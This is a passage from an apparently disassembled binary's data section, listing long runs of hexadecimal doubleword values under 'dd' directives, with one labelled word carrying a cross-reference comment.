81D3229Bh dd 0BC00477Dh, 0A895F8C0h, 0B996D9A4h, 14938860h, 0C0999201h dd 0DD405CE6h, 0A1982C8h, 87C283ECh, 24C10BF0h, 7798FCE0h dd 0FBF0FC00h, 997B75A0h, 0B89436h, 67DAB7BFh, 921C4AC1h dd 0BB803D19h, 6D3ED444h, 0EF7D020Fh, 6A5B3BD7h, 22003058h dd 92C29DE4h, 1E36C53Fh, 80DC63AEh, 6DD15DF9h, 0A700CE19h dd 923841CDh, 96E79FAh, 0EDFD0C81h, 6F0F5CF8h, 0C3193935h dd 0A0D005B7h, 1EF398h, 32A88863h, 66DEC2C1h, 4CA8D00h dd 0D858A03h, 7935006Dh, 1E21BCE0h, 0A717E4ADh, 6F002F7Fh dd 9459CEC9h, 896C2h, 0AF41C4FEh, 0E75A1A15h, 2D3BF5ACh dd 4CC038A8h, 7CEB62h, 0C9C1A564h, 0DF4CF63Ah, 2D8334BEh dd 0EF3EBFF7h, 8160D6C2h, 59285BC5h, 4015438h, 3F8FF12h dd 1A7DB11h, 2E52060Fh, 0FE8E2800h, 798D0B09h, 2C760385h dd 2A7A11B8h, 0F2F80907h, 0E501340Fh, 46A9D08h, 0E34E88h dd 99EE5B85h, 6DFE007Bh, 7ECFFA1Bh, 0FC008743h, 40734905h dd 0EFC934h, 6F36A9C3h, 9CF95F4Fh, 0A3580100h, 0E81BAF68h dd 0EEF5F078h, 5C3000B3h, 1E15310Dh, 0C61CD552h, 9600144Eh dd 0CFEF84EEh, 879A0F80h, 0A3220C8Ah, 0D040510Fh, 0F5FDC94Bh dd 1314207Bh, 0EC487F76h, 0D5200FCh, 719454D6h, 0A88B4C69h dd 0A5E7301h, 30E8E08Fh, 9E005190h, 8088FD85h, 18817Ah dd 2B68A51Bh, 46462D5h, 0EE15E100h, 0DEBE748Ah, 10D494AFh dd 1FD3C4A3h, 5FCA9900h, 4F0058F3h, 3D06FD6Fh, 26E96459h dd 806118h, 55A0E0E7h, 750CD5B0h, 51B39FBEh, 24CB45Eh dd 8C5A3C3h, 52015070h, 0C6427231h, 0C0807AB1h, 10737483h dd 0B31B3F2Dh, 8A58D56Ah, 972CD606h, 2EC8409Dh, 0C076F467h dd 1B983495h, 11459A78h, 7C47BBA0h, 0B236D200h, 0D302F10h dd 90910064h, 3C4A2928h, 0A8767DDBh, 0C836B906h, 7AB6CDC4h dd 6C73E9Ch, 946AF994h, 4812D521h, 6F00A4E7h, 298CF087h dd 2E04D530h, 0D4407F90h, 0EBB41C80h, 0C4983Ah, 7C6491A5h dd 0B1FE8C96h, 920C1005h, 0BC02DAF0h, 748186ACh, 0A0791724h dd 0FD003CA4h, 0B397C954h, 0E923F2Ch, 2263905Fh, 50599349h dd 0DE6C1300h, 15FBA4Ah, 5890F85Dh, 21D5A046h, 6FAC24DEh dd 47A69F00h, 341F5EA7h, 3FB71F4Ah, 6073998h, 90522D9Ch dd 95D93C19h, 0A1E39704h, 0C4C823DFh, 0A09E2D15h, 84001942h dd 25677366h, 0BEABC00h, 1472576Dh, 0CF4513C2h, 0AF8C041h dd 8100D69Dh, 1504FF52h, 167C8FA5h, 0A3DD1419h, 0D3E8031Ch dd 88346454h, 484E54Dh, 8A017CDCh, 2548BC20h, 4C4887F7h dd 0E866C5C1h, 0B3D29DD1h, 0CD1DD014h, 1D57F00Bh, 1D280D7Dh dd 956B0178h, 4C8708h, 0A1FA4305h, 816CD28h, 8589C419h dd 80057E18h, 1EFAC02Ch, 35EFD000h, 8FC8F6CEh, 4EA938F3h dd 57702F0h, 0CD21CB87h, 5E511048h, 880083E0h, 0A54A498Ah dd 30B99D1Dh, 7B90CFCCh, 9521420Dh, 6207010Bh, 0C0364AFAh dd 91FF0B2h, 3C01122Eh, 0BAF744D5h, 3BEF9FC4h, 0E1001D89h dd 53C654A2h, 5576492Eh, 9B7B4800h, 4AA55EDBh, 8B2D0109h dd 4F6D891Fh, 5156F45Dh, 0FCA10300h, 38E0F12Ch, 0B66B0199h dd 0FE8F47F3h, 7B4DFC88h, 0BD676D00h, 0EC022260h, 431C15ABh dd 0A8009477h, 0AAF21478h, 72E01E4Eh, 83056B38h, 9F537F41h dd 429059Dh, 8481Bh, 4ECB28D9h, 19384991h, 4F90D47Ah, 0F6D41F00h dd 8028667Dh, 71DE856h, 0F25EA587h, 9562307Eh, 0C8F4BD86h dd 37C1593Fh, 0A0E008D0h, 3745E1BCh, 4130B195h, 0C016C66Ah dd 0CB124676h, 0DC007D20h, 3CC98A8Ch, 0CE9E81Dh, 0D71EDE47h dd 24000111h, 0BBD2355Bh, 0C4F0420h, 85F6A286h, 8300B490h dd 7AEF31Ch, 76484C8Bh, 0D44E5121h, 2ABF98F4h, 0DC53F0h dd 0EB45512Eh, 430CD8B2h, 2A7C8E7Bh, 9142B601h, 6DA35381h dd 0DD1E8C53h, 60FB804Fh, 18447DFAh, 0CD9858h, 84FD998h dd 228F4E29h, 2A6820Ch, 2CE23146h, 171F425h, 6BD5CB95h dd 0F1188CF3h, 78072156h, 27DA00B3h, 0BD9525CFh, 0AC76881Fh dd 175DE03h, 0A56BEA4Bh, 906FA10Ch, 0C97F0953h, 9C201CADh dd 1681990Bh, 455EE600h, 304AA6B2h, 4F800303h, 658B0578h dd 94DF1598h, 4795D801h, 19AD9BE4h, 55D34181h, 30C3E1F4h dd 0E600699Ch, 545E0A07h, 3AAD4829h, 0F789F915h, 20A00543h dd 0A539D294h, 8714F800h, 0AC59707Ch, 27160FEBh, 4FE093FAh dd 46668D8Ah, 991FAA00h, 23A0804Eh, 913890C8h, 0F50B1744h dd 0F4DFE028h, 0DAE88C0Eh, 0BF6C2702h, 8F01610h, 4A20C349h dd 83C8C98Eh, 0C1000460h, 15624E65h, 60137580h, 3DFD636h dd 63672FF0h, 30105A19h, 788A59CBh, 0C4B7C7Fh, 77D243FDh dd 0AEE2FE10h, 4889B107h, 0C4312DE5h, 20401CF5h, 5A8EC1h dd 84473B03h, 4F9C5EA6h, 0C03DC676h, 1F40D042h, 0A7EF0E07h dd 4E0037DDh dd 0E9B584h, 0EB3588D4h, 8B94BCBEh, 0A6044E2h, 0E8704B30h dd 3E860077h, 0C60EF187h, 9B3C8BD5h, 0A87630EEh, 7ECFC10h dd 0CE1620D0h, 0A2680093h, 0F517B967h, 0E909323Dh, 58DEDDh dd 9A829D29h, 80161AE8h, 0D9B0C7B4h, 710A0D4Bh, 0F0A84AB1h dd 81DF33DFh, 0E069051Bh, 0CF160E4Eh, 7CC09918h, 0A02AF3C7h dd 91D69E01h, 0BFE1B10Bh, 0EEED518Ch, 111DB639h, 8C00A11Ah dd 858BF24Ah, 10B7270h, 2D6EB04Eh, 0CCD594E2h, 1B1D173Bh dd 31408480h, 76450165h, 198EAD2h, 889B0F7Dh, 0C493B7B2h dd 640ED3E6h, 83AE8D9Eh, 11D25BCCh, 80BD8F10h, 0D786AF01h dd 0B0048885h, 0E5E88818h, 7A7C2C40h, 1804ACF2h, 10F34B29h dd 0CA01BD1Ch, 0D1DD07E0h, 2980754Dh, 8922A9E3h, 0FA3090E4h dd 4E6B10B5h, 0E59C0CABh, 93297BCDh, 0D659F860h, 26C5F4h dd 372AF0DDh, 1759FB8Ch, 0EA333800h, 4EAD8D69h, 47FC1818h dd 0CBB941C2h, 0A9D78201h, 27CCE57Ch, 1E81A1BAh, 0EE4956C5h dd 9841C0CFh, 0E060CE70h, 0C4E78D39h, 187200BBh, 89E363E8h dd 0BC01CDA9h, 0BACF0F15h, 9986F954h, 582BD311h, 0F8615E00h dd 0FA038C39h, 0D5720078h, 24921CCh, 6A0EEF33h, 151BE929h dd 8B640094h, 3D49AC15h, 7FEE1938h, 80980881h, 15A2E951h dd 5091BC9Ah, 257E53Ch, 41D48725h, 0B0A786F4h, 0FB2F70F9h dd 0A20C4C6Ch, 41D07CC9h, 0D1D560E7h, 0A473BB2Ah, 0ACC15E00h dd 0A8FB44A9h, 4E2E01D9h, 6EB62F75h, 2A088F5h, 15A6601Ch dd 0B54349A9h, 159DBE80h, 4F00DF6Bh, 8B516D6Ah, 0AB8E277h dd 0C72EBBB2h, 2C63BBCh, 4955C51Dh, 13DD31E6h, 0E4C4E082h dd 0AD1C049Fh, 902D29F0h, 4DBE8D24h, 2D0FB3Ah, 3DBCD8AFh dd 0FDD04053h, 97F4001Ah, 7DA82295h, 4C24D1B2h, 0EE81208Bh dd 0D83492F3h, 0A05C9850h, 7397013Fh, 0FB2860DEh, 430898AFh dd 4CB89631h, 8D07C03Dh, 40C91A87h, 9D740646h, 0ED144C90h dd 80287BF3h, 73A63FADh, 228B4396h, 0E5970544h, 1D1393Dh dd 11E2C0DEh, 0DC50244Ah, 0FD7DA719h, 621747B0h, 0E093BC75h dd 8CB543ECh, 0AAC0CD24h, 0FC5906E8h, 16EBE67Ah, 52EE17Eh dd 3154CD41h, 0C1BEDE4h, 0A015089Fh, 0BBC49D49h, 1576BD40h dd 0BC125CB4h, 6C43FA54h, 3BF4AFBh, 0F1B8C81h, 1062C0A6h dd 181A8B60h, 0A2111599h, 64908D49h, 290BF16h, 8026FD8Bh dd 89F8CA8Ch, 0F057EC81h, 62F520CFh, 90FE11E9h, 7E3461Ch dd 4A24C520h, 40E3C4E8h, 0FAC50193h, 0FD4B0411h, 584FBBDCh dd 88C284C8h, 30306DC4h, 0E79298FFh, 5919C0CFh, 581A9C8Fh dd 0A0F1E800h, 1E8A0C64h, 0E0835E42h, 0A901E448h, 0FC34C07Fh dd 999D3FABh, 54B914AAh, 5AC50280h, 0CE4C8E49h, 8B81B02Ch dd 6FCF01C7h, 5D97EE06h, 0BF4870CBh, 0E4CD490Ah, 2409E0B4h dd 55C80BDh, 0CE9893A1h, 768390B1h, 0D9008794h, 1F6755D2h dd 0EC8566Fh, 0C7EB09D7h, 4721228Ch, 0D0678D04h, 50C8C610h dd 0DC7A20h, 94289535h, 602D3AC1h, 0C0B4A048h, 49334CD0h dd 0C00B0023h, 6A7ABDFh, 0C2031EA5h, 0F53558A3h, 0FB53E97Dh dd 90DCD2F8h, 0C0C46284h, 0D101B50Ch, 68224152h, 22427B3Ch dd 8D5000D4h, 706096D8h, 0AE388335h, 0B99C50F1h, 27668201h dd 9CFFCCF2h, 4637848h, 666F1967h, 20DC32E5h, 0DB677BB5h dd 0C831A300h, 0AB1B32E1h, 653A0950h, 58308C29h, 9F1115A4h dd 0A3888549h, 157BC480h, 0F7D0F8h, 0E5354992h, 28E4A2F6h dd 0F489CB20h, 0E04C3D54h, 708041B8h, 5734177Dh, 0D909B84Eh dd 2873673h, 181BE794h, 0AE1315A5h, 0A838AD49h, 159C01EBh dd 0A563FD51h, 3635E0EFh, 0AB2AD4E2h, 937FD026h, 4FE4F1C0h dd 1DFBD9A1h, 403F947Bh, 985BC7BCh, 0CB096BC5h, 1FC23074h dd 8BD011D8h, 0EA2018ECh, 0D4F0005Dh, 2A42A661h, 13F3EE9h dd 72D01D23h, 55B85970h, 70F52807h, 45FB29E0h, 54BB0AF8h dd 867C809Ch, 0BE504E48h, 8D11A899h, 0A03F9F80h, 5E43A673h dd 80292Ah, 0C93DB79Dh, 0A0EDCF78h, 45910600h, 0D1E3F5C1h dd 6980F7A6h, 22F3C21Ch, 0ABF8B5EAh, 1B0050B9h, 0C6C7CE6Fh dd 8FFF03FAh, 55D48C38h, 933139D6h, 1BD9A9F5h, 0FE3B6CE0h dd 0C0A429h, 73689B0h, 0D9E93F9Dh, 0F0B35601h, 3AAB5DE1h dd 5410BBC4h, 9A4CAh, 0D35FA29Eh, 0E6418276h, 8016A73Bh dd 9873B2DCh, 24FCA0C3h, 60C0555Fh, 0CB875422h, 0AC007EF2h dd 0D379381h, 11036D2h, 0EE3E83C8h, 485CBC1Fh, 420245A8h dd 0FF8FCB13h, 2984C90h, 6F1D6757h, 2319C886h, 678F4910h dd 0C4B24800h, 40AD1A69h, 6F120AA2h, 11CCBF70h, 7B019279h dd 8B06738Ch, 99C09C62h, 0F3BA3DE3h, 7C8AF727h, 84D2154Eh dd 0BEAE711Eh, 0C477E680h, 1D290421h, 0B2789C00h, 8965E309h dd 27024C9h, 0A82D8024h, 0A72B3B1Bh, 0DA7920B9h, 69000A18h dd 923EB54Ch, 0C9D411F1h, 1777089h, 288C8BCEh, 968340C6h dd 1DCF7329h, 0B1451232h, 723AD128h, 704876B0h, 0A224829Ch dd 3B2CC493h, 14802888h, 4F5E6F4Ch, 80995475h, 0AB60D8A9h dd 70C32CCh, 7849F77Fh, 0A45800FFh, 0FE125340h, 8822BF2Ch dd 3FA1308Fh, 0B6739A08h, 405E6560h, 3DB93BBCh, 9902F8F1h dd 0CFC839C0h, 0BAEBE053h, 7FCD13EAh, 8CC02011h, 0B6007DC2h dd 0DB8629C5h, 0D96AD5h, 80C9F017h, 1CA0EE62h, 10489600h dd 0AB21A71Bh, 4B1702BEh, 337573A2h, 0BC2430E8h, 0EA36C017h dd 0EF495021h, 7A665D8h, 328755A9h, 0FCC8539Ah, 0DBC4C6F0h dd 68A71A17h, 0CE234C2Fh, 0E6A75707h, 5C7D6FE1h, 9C31074h dd 91FFCD17h, 675A7830h, 8E6F2411h, 4880ED88h, 0AC116792h dd 0BAEC01CFh, 0F74B99AAh, 57B860D7h, 0E051CD2Ah, 56225890h dd 349052E3h, 1530DFB2h, 0E726003Ch, 91E5D6DEh, 7E283380h dd 0FE0BAE37h, 9D897AEAh, 80DA9120h, 4058AE26h, 752EE0Ch dd 68A91F92h, 500E49FBh, 0EA450C91h, 30839C9h, 0BF3D9D79h dd 33AF56DFh, 292CE70Eh, 460118F2h, 0D0995303h, 0EA028141h dd 0FCF8B443h, 0C4D24490h, 47891C5Dh, 45919E80h, 47581570h dd 47EC8h, 3754DE81h, 0D70F6804h, 8B820A87h, 2EDC9971h dd 0B5026FF0h, 474BA2D8h, 0B710F822h, 134987E8h, 62381051h dd 0D6E6F499h, 0FC93F580h, 71921642h, 0C91F18EEh, 2200BF77h dd 3D3A5D41h, 29921B3Ch, 393C7BFFh, 6F026702h, 2019C7BEh dd 6794B210h, 0B4A11804h, 98A4938Bh, 149AF035h, 0B30F724Ah dd 782940Eh, 0BC22043Ch, 2148A257h, 4FBD0048h, 0D7C0EA32h dd 7704A1D5h, 5F9C3A0Fh, 1EBFC3A9h, 66A6A0AFh, 0BF607C9h dd 0C3ECAE20h, 0D3E09C6Ah, 0F51F8871h, 0F81E6DC2h, 8C818C0Eh dd 45108Fh, 2BCC7597h, 53445E0Bh, 7BD3F01Ch, 982292C4h dd 87648080h, 5B9D00E9h, 5FBFF5A2h, 0C2074797h, 0BE469C6Fh dd 95409A97h, 4C45B322h, 0EF00DEDCh, 147864DDh, 0B01D74A7h dd 3E09015Ch, 3D08EA5Bh, 29427D04h, 778F056h, 0D4F57573h dd 4FDC3078h, 0FE271971h, 9D8C8432h, 7F675661h, 94E54EA0h dd 8EB45048h, 7EA26703h, 0B81CC2B9h, 9492D541h, 0E63C8014h dd 72D980Fh, 7677E825h, 6ADC007Eh, 0AE3E1F2Fh, 0D1286004h dd 90B46574h, 1CF34441h, 1953F937h, 0CEF5C080h, 41D90103h dd 0BFA6FE13h, 0B805CF48h, 8DA7D186h, 0DE730CA2h, 0BE80FC39h dd 4ECDC924h, 7809BB75h, 0E56AF591h, 61BBC4DCh, 73E50CCBh dd 8A039039h, 0E51E0502h dd 12806005h, 30F4C8EAh, 0FDAE00F1h, 3A2AFE81h, 352A7150h dd 48B9B4D0h, 94182071h, 8BDA601Dh, 0F924A027h, 6C34AB4h dd 0ADFE4858h, 203D8888h, 0E0CC1FC2h, 0C14A1FC1h, 788CFD18h dd 0FB58C041h, 917EAB2Dh, 2418B734h, 4958C504h, 0E432D01Eh dd 0C4ECE720h, 3A0E83Ch, 0C148E3F4h, 6000D1C8h, 63787E33h dd 0C1C0FE10h, 88C14931h, 0A6208B9Ah, 0C45C4568h, 9C0064BCh dd 0E7E561B2h, 0AA59C9E8h, 0DEC4E0C5h, 1A712E60h, 8823CF39h dd 9CFE142Ah, 40D65204h, 9F75593Ch, 0F5076E3Eh, 44616BC5h dd 0F37DFEF1h, 7550B040h, 20396787h, 88ED906Ah, 71205E04h dd 245C72E9h, 3EB0BAAEh, 0F8F49814h, 0ECC22A0Ah, 0F6078184h dd 4012CF94h, 4CFD4794h, 0EC8A952h, 294E8B79h, 0E5740B55h dd 60DFE430h, 79474D72h, 58490408h, 0F43124F5h, 1600413Ch dd 6E9C64E3h, 1D08BAA9h, 2BB587Dh, 7B012234h, 5EF170F9h dd 0DDFAC419h, 8212F602h, 804FB729h, 55BB8CC8h, 0C5C92F4h dd 376A2389h, 8C9048E0h, 9D335E2Dh, 80ED11CCh, 3DCFCC75h dd 0E2DCFFA7h, 3D47E4C6h, 0C8D03566h, 31F66092h, 0BE3889D1h dd 33202307h, 0A000D22Dh, 0D783CC8Dh, 0DE409B20h, 0DED910C3h dd 4827E88Dh, 49603CCEh, 81BC29A4h, 1B892690h, 37C02085h dd 0FDCFC9Ch, 12F163EEh, 734B03BDh, 2100FC6Dh, 211A6C4Ah dd 495983h, 549F6FB8h, 7BFFA3B7h, 0A007C927h, 1C9294D4h dd 0F0D30FA7h, 9DB88Bh, 0A458AC1Dh, 6002EE73h, 5CB24FC4h dd 0E40C65A7h, 4A6D60B8h, 0CC854DD9h, 0A3B8904h, 0B6D8C8F3h dd 12273722h, 3E88D04Ch, 0F3437534h, 76E48F07h, 0F7931292h dd 0F684A7h, 0CF0B1A51h, 824B2A00h, 58A41499h, 0F27015h dd 0C943E702h, 4DAB24D8h, 4E2DD4ECh, 0A2E0A17Ah, 0D46C7C5Ah dd 964B2F80h, 4F2460C0h, 18301F2Ah, 7AF3128h, 0D826FE45h dd 0A2E13038h, 0A32C1B75h, 0D6092047h, 3472E7h, 2B07F52Dh dd 92E24C42h, 814D8C07h, 0F8C0FC47h, 915CBAAFh, 0ACFB068Ch dd 9A7A39C4h, 226CE458h, 90934B42h, 591BF0Ch, 0F700BE72h dd 0A1A28924h, 3FD8D1h, 0FDC5272Ah, 90B94A54h, 7DC49850h dd 0B34C05E2h, 0ECA929CCh, 0F418DA79h, 0C68B481Ch, 0FAA69301h dd 2180D07Fh, 0F517FC8Ch, 0B3E6714Eh, 3A970C3h, 38B2D511h dd 63043E2h, 2F3F0097h, 0FF7F0ACCh, 0DA4B37E7h, 0D0C8708Bh dd 64B25FC0h, 4F74CD5h, 0BCA5543Bh, 0DFE41CC5h, 0D4014561h dd 2E03C666h, 0C8BF541Fh, 6064D2DEh, 297D715Ch, 11B0637Ch dd 0C50380E2h, 58964957h, 0ECB0A8CEh, 657EC78Bh, 4C635104h dd 0B4A950BCh, 0D1C81118h, 773E927Ah, 0F4F8810Eh, 0F949E81h dd 30665870h, 0C2E187C5h, 71304A37h, 69079905h, 961B00DDh dd 3B280A82h, 0F62C061Ch, 0E611C4A5h, 9D159A80h, 87954Ah dd 0F11591C2h, 0ED090E60h, 52A7D45Eh, 0B0934C58h, 0B8F15080h dd 9900AF8Ah, 69DAF09Bh, 150A1017h, 0F437E543h, 0A9FACC05h dd 5BE4898Eh, 0F8FC8048h, 0EFBBFD70h, 154893E0h, 8489CD66h dd 0F09A6D0Bh, 391FC000h, 0AB48F91Ch, 8CA181ACh, 0D02248FBh dd 2556BB12h, 0D01EC0h, 3C5AA12Ah, 367A6D53h, 0C0E848D4h dd 0E996234Bh, 0AE4D0181h, 0F3EDF460h, 2742694h, 73A13FAAh dd 6067AEh, 53DE23Ch, 0D930754Eh, 795460C9h, 92E312E6h dd 1E34A429h, 25E5B801h, 8AABA81Bh, 1337ACD4h, 12D8CB67h dd 5A6403E4h, 0C1E41EA4h, 3A0F1BE8h, 0AAC81840h, 3BB69h dd 0F193571Ch, 0D36EE517h, 787C4026h, 0E7B88CE0h, 0EBE1C0BAh dd 0BBA0ADCEh, 0C528F909h, 0C35187C6h, 0AF920307h, 44668Bh dd 3796FEC1h, 9BCBC0A9h, 0DE56BA1Dh, 0AC6CDC00h, 16498E8Dh dd 4A98250h, 0A4114C30h, 4100CDA8h, 955EAF8Bh, 1988E2h dd 0A110823Fh, 994D6122h, 245E100h, 0B1BA4E53h, 909D97EAh dd 0F4806511h, 90ABCACFh, 43040A7Bh, 0AAFDDEC2h, 0F8B54C1h dd 4881D460h, 0A02F9862h, 97912497h, 6F11DC80h, 0A2041CEDh dd 0EA8C4DA0h, 179C90C8h, 0FC83C5Ch, 2C294412h, 6203E600h dd 56095A72h, 10CDF3A1h, 2464AF34h, 264EDB9h, 0C88BC2DCh dd 215E6456h, 6480F265h, 3433A5FDh, 0CAC03BBh, 2BBE2149h dd 0F50880C5h, 1445263Ch, 0E0E28822h, 0C170BB30h, 7E8E21F6h dd 0BEF0E0E5h, 7C383859h, 4CD02095h, 22A98Bh, 0EADA4D74h dd 52065541h, 63B42E1Ch, 0F4766684h, 5EB808ACh, 180E48Ch dd 77EA756Ch, 7D54D4C6h, 0A57B0E28h, 8A8F57Dh, 8D009FCh dd 0C93307FAh, 5F72D8BCh, 0B210D2C1h, 30A3F2A8h, 130F8095h dd 0DFAED5FDh, 4A185240h, 0A2CD5CC1h, 0F8896084h, 9080B8D8h dd 0BEC207BEh, 0C0D45B8Ah, 210DD16Ch, 2148A24Ch, 89A2BB84h dd 39229217h, 5F10903Ah, 6A76C0F2h, 3B476D1Eh, 0A080C550h dd 424CA706h, 85071C33h, 1FBC75ACh, 8C4C02FBh, 0C18CCDAAh dd 20B0A7FCh, 2F0290D0h, 0D94A24E8h, 71344865h, 25962045h dd 928CA000h, 624FBA48h, 0D64A1222h, 0DCF2D2h, 0B460137Ah dd 72829B67h, 864600F4h, 325754C4h, 50D22A87h, 0A85DBA0Ah dd 627BB804h, 47B8C0BDh, 8BC8B00h, 5DCABB1Bh, 8931019Dh dd 0DDD7C212h, 6EE9CF1Ah, 28689243h, 164B8B4h, 0DA9503A6h dd 0F8885D11h, 766E2098h, 4A3B1FD4h, 0DCB2F053h, 0E20EC103h dd 6200FD41h, 0A662C8EBh, 96A725CFh, 0DD465CECh, 9377F709h dd 5B5DFC48h, 8FCFE500h, 160C6456h, 8E51032Bh, 7E4107ECh dd 0FB703850h, 0F18C8209h, 0D10C5986h, 0E8E118D9h, 0EDFF02B1h dd 0F6CD4EEAh, 0DD47B0C9h, 0AEBC6425h, 39828D06h, 6A1CE38h dd 2852D122h, 6FEC108Ah, 0F44D2B4Fh, 0C7F06154h, 52D31779h dd 0F32822D0h, 0D2F64E20h, 536B0128h, 0E7928B11h, 0BD3980B6h dd 6015A35Fh, 3F70029h, 0DF2342ABh, 0CE00F8ECh, 85F95B69h dd 412A5B2h, 4CA1BAADh, 0ACFCE990h, 342700BEh, 77F0AE58h dd 75144D8Ch, 480F3D1h, 0D08A04A5h, 0BEAD1A01h, 0CFAC92C7h dd 0E6B00040h, 75D2F27h, 1F022E31h, 5E2042E1h, 64E5FDC1h dd 4A33F8FCh, 587CD9CBh, 0B076A110h, 0CA282AB8h, 90C37F8Ch dd 3497AACh, 2DB829F2h, 9FA224E5h, 0F1445C58h, 38C900E3h dd 994F4BABh, 2AE49E52h, 0FB49D560h, 207D760h, 0E3371D35h dd 0B4CCFE70h, 80309248h, 0C360D725h, 12BF1D36h, 0FE1F00A4h dd 0BBD9D882h, 3CC8714Ah, 0C474847Eh, 0D8B9CC90h, 0FF18BB71h dd 0D7BDBA02h, 0E7C860B2h, 602744ACh, 90E41DCAh, 649A9F30h dd 749600E6h, 8E1AB90Fh, 2919994Ah, 0C3024022h, 0A653A3FEh dd 0C4669861h, 0A0B0F3D7h, 7096C67Ch, 0CBBA2702h, 834DA7Ch dd 0F431FE47h, 0EB6609B9h, 0D198F978h, 91818B9h, 11983930h dd 0A5FE6868h, 0A9AED8F7h, 0BAA17000h, 0B8F5075Dh, 0E42E008Bh dd 929C5EF3h, 0ED32664Ah, 0C1548886h, 8880EE62h, 741A761Fh dd 889083F1h, 85A1EF2Dh, 3C88CBB0h, 6F10E94Dh, 0F44CA62Dh dd 0FBA01680h, 19E39C1Dh, 366A99D7h, 6040E7C0h, 2E26167h dd 0B43AF4C6h, 30D6509Eh, 7570846Bh, 0D11FDCE9h, 87D94F0h dd 4A45A16h, 44BC479Ch, 9B40D529h, 15DBA246h, 0D3FB4B1Fh dd 254DC0Bh, 89C514BEh, 0AC058E0h, 0C97EFC2Fh, 0F4574280h dd 0B65C8F29h, 93F35087h, 53193DEFh, 1CA33228h, 84172E72h dd 804E0E10h, 0AC218C28h, 3B564709h, 7B08A4F8h, 0C2CBCE1h dd 0E8CDDECh, 0A572DBF4h, 0EE4C82Ah, 0B6761101h, 42E6B014h dd 21D30BA4h, 5405877Eh dd 0F244A253h, 16A53025h, 23892801h, 5FD2A312h, 0A8A49845h dd 46F9EBA0h, 0A6098839h, 0FCE8BABFh, 8C1FC75Bh, 26404632h dd 80CDE872h, 75790914h, 34300655h, 9428FC48h, 0A87B904Fh dd 421575EAh, 26846E91h, 0F41F14D8h, 4EA37187h, 69AF36h dd 0D8B54272h, 903E293Ch, 6BB2E300h, 8AB6C4B0h, 1D807A2Dh dd 0C33187C0h, 44D8054Fh, 0AD56A490h, 3D1D55E0h, 64002745h dd 3711D119h, 0BB207E8h, 80CA701Fh, 127BBF03h, 89F0071Fh dd 3D818D9Eh, 0D86CD76Dh, 0F5BBBC8h, 0DC34E41Eh, 42C850A0h dd 9300CA69h, 3D250248h, 0C99814h, 0D70F7FABh, 520E7E8Bh dd 0A08238BAh, 0FA2138C1h, 621F24C4h, 34C794C6h, 16001327h dd 97A8B82h, 5F50F331h, 9511B89Dh, 791D3B80h, 0B2047127h dd 29116605h, 0DD6868D0h, 0E8B77014h, 0A17D1072h, 4E450ED6h dd 7009D231h, 0C24C45EDh, 8318F327h, 4845FA9Dh, 9097DCD6h dd 11F7E9F8h, 13A31600h, 6ECC2530h, 24B1C4A9h, 30A0E52Ah dd 9100574Fh, 0A8616BDBh, 76B6D7h, 4F2A4CE2h, 7382B298h dd 0C68178B1h, 176C2261h, 0C056D343h, 48121FB9h, 0DE12629Bh dd 265C032Ch, 33C89D57h, 844CFBF2h, 0F5D0DD0Ch, 48B22D87h dd 0CCE1EE01h, 0A026A2FFh, 1B682101h, 7CE5366Fh, 79B3A0E4h dd 41750267h, 422148F9h, 0A02C9CF8h, 2DDC9868h, 20448BD9h dd 0BE90AF00h, 3A5BCC4Eh, 84DE001Ch, 0A896633Fh, 0D40B321Ah dd 71A72693h, 18DA7180h, 486E00E9h, 8A1A297Ch, 0A104B792h dd 0F60E6D7Bh, 93F0C80h, 80FB29DDh, 0F471889Ch, 484A25BEh dd 5C98CE4h, 49504082h, 0FF18B461h, 9C9A4C77h, 7CD0924Eh dd 3C4E11DEh, 75020647h, 0A73C8221h, 0DE716051h, 4C32B518h dd 22CFA0D5h, 38C3BEC9h, 0BA5D800Eh, 60D51D41h, 96D43CC0h dd 90E02658h, 0F9AB1289h, 0C9E4C085h, 4C91C56Fh, 12DC0100h dd 0BC8C7BB4h, 792142A8h, 0C04F987Ch, 0FE037EDBh, 77580350h dd 0E62B1F33h, 4BCE76B8h, 1C0B815Eh, 11A81DDAh, 0BA9780BCh dd 12510D7Eh, 0B4604DD4h, 9A637D84h, 0B7E729h, 3905B1F9h dd 0F8BDE0BBh, 0CED54A00h, 57C8DFB6h, 0DC03079Ch, 0CCE99F4Bh dd 100CF31h, 8B32481Ah, 1B1AB30h, 0BF0702F3h, 42A9FB8Ah dd 90F2292Ch, 5F96FF00h, 7C4D8339h, 3F0705BFh, 0C086A6D2h dd 8137C550h, 0EC64454Fh, 68B770E2h, 4FD1E9C0h, 200C0EBCh dd 23431F58h, 0F588B9A7h, 111703A6h, 0B8C987E3h, 0EA88D44Bh dd 8CFED9C0h, 0FD030605h, 0F084D246h, 0CB22DD42h, 0D6714900h dd 0DF57DCD3h, 1F061644h, 0A859E0FAh, 17146CEBh, 242792E0h dd 0D439C450h, 0CFE4006Ah, 10EEB428h, 0B9257619h, 131C60D3h dd 35273972h, 7C6C494Fh, 2B9EB059h, 2FBD4F20h, 6523A0h dd 378F7198h, 0AD02B2BEh, 39D948C4h, 0D480625Dh, 504B406Ch dd 1200606Ch, 1566D05h, 7364B475h, 0A98612B9h, 0E298A268h dd 88B630CEh, 1080402Fh, 0F25F2270h, 0F5C358E6h, 619AB807h dd 2BC7F058h, 0AE2C6D53h, 0A84F40E2h, 3314F6F8h, 80A01150h dd 7A7B0B72h, 5387063Ch, 68CCAD7Dh, 0E5FE4708h, 39F40284h dd 0E0E5A72Bh, 8060B8E4h, 0D926494Ah, 870934A5h, 0E4FCC542h dd 0BA4760E3h, 613C76FCh, 0A72719BBh, 0E255607Dh, 1EE19802h dd 8151463Fh, 2A22A8C6h, 2700682Dh, 4A8FD453h, 5F009DD3h dd 0ADB49E7Fh, 3F41C5BEh, 0CB5EC2A2h, 0CEDC8800h, 48D4809Ch dd 0BD9E6396h, 0F5AD1A05h, 0A89030E8h, 4C2C91DFh, 252DF034h dd 0D9E4B8C5h, 0CDC05A63h, 0B4173AACh, 8A46EC9h, 0C4D899B7h dd 8A10B080h, 958C8F38h, 58F4C711h, 0D5E70075h, 0E003BBC4h dd 0D3710955h, 488549A8h, 0B870BC90h, 8E008CEDh, 94D5FE4Ch dd 0CA2C015h db 10h, 7 word_505446 dw 41D4h ; DATA XREF: ___:off_435710o dd 80022CC1h, 49664892h, 540D825h, 5378B731h, 50BCA24Bh dd 0C748C50Fh, 94B60B10h, 53242592h, 0D8D9D4E5h, 84552E1h dd 26D0F8B4h, 50F09709h, 0C607CC51h, 22DCDF02h, 4C1C9900h dd 0FFB40077h, 2473EA71h, 0AB955588h, 0E4C0C5F8h, 0FCCF60E3h dd 47050972h, 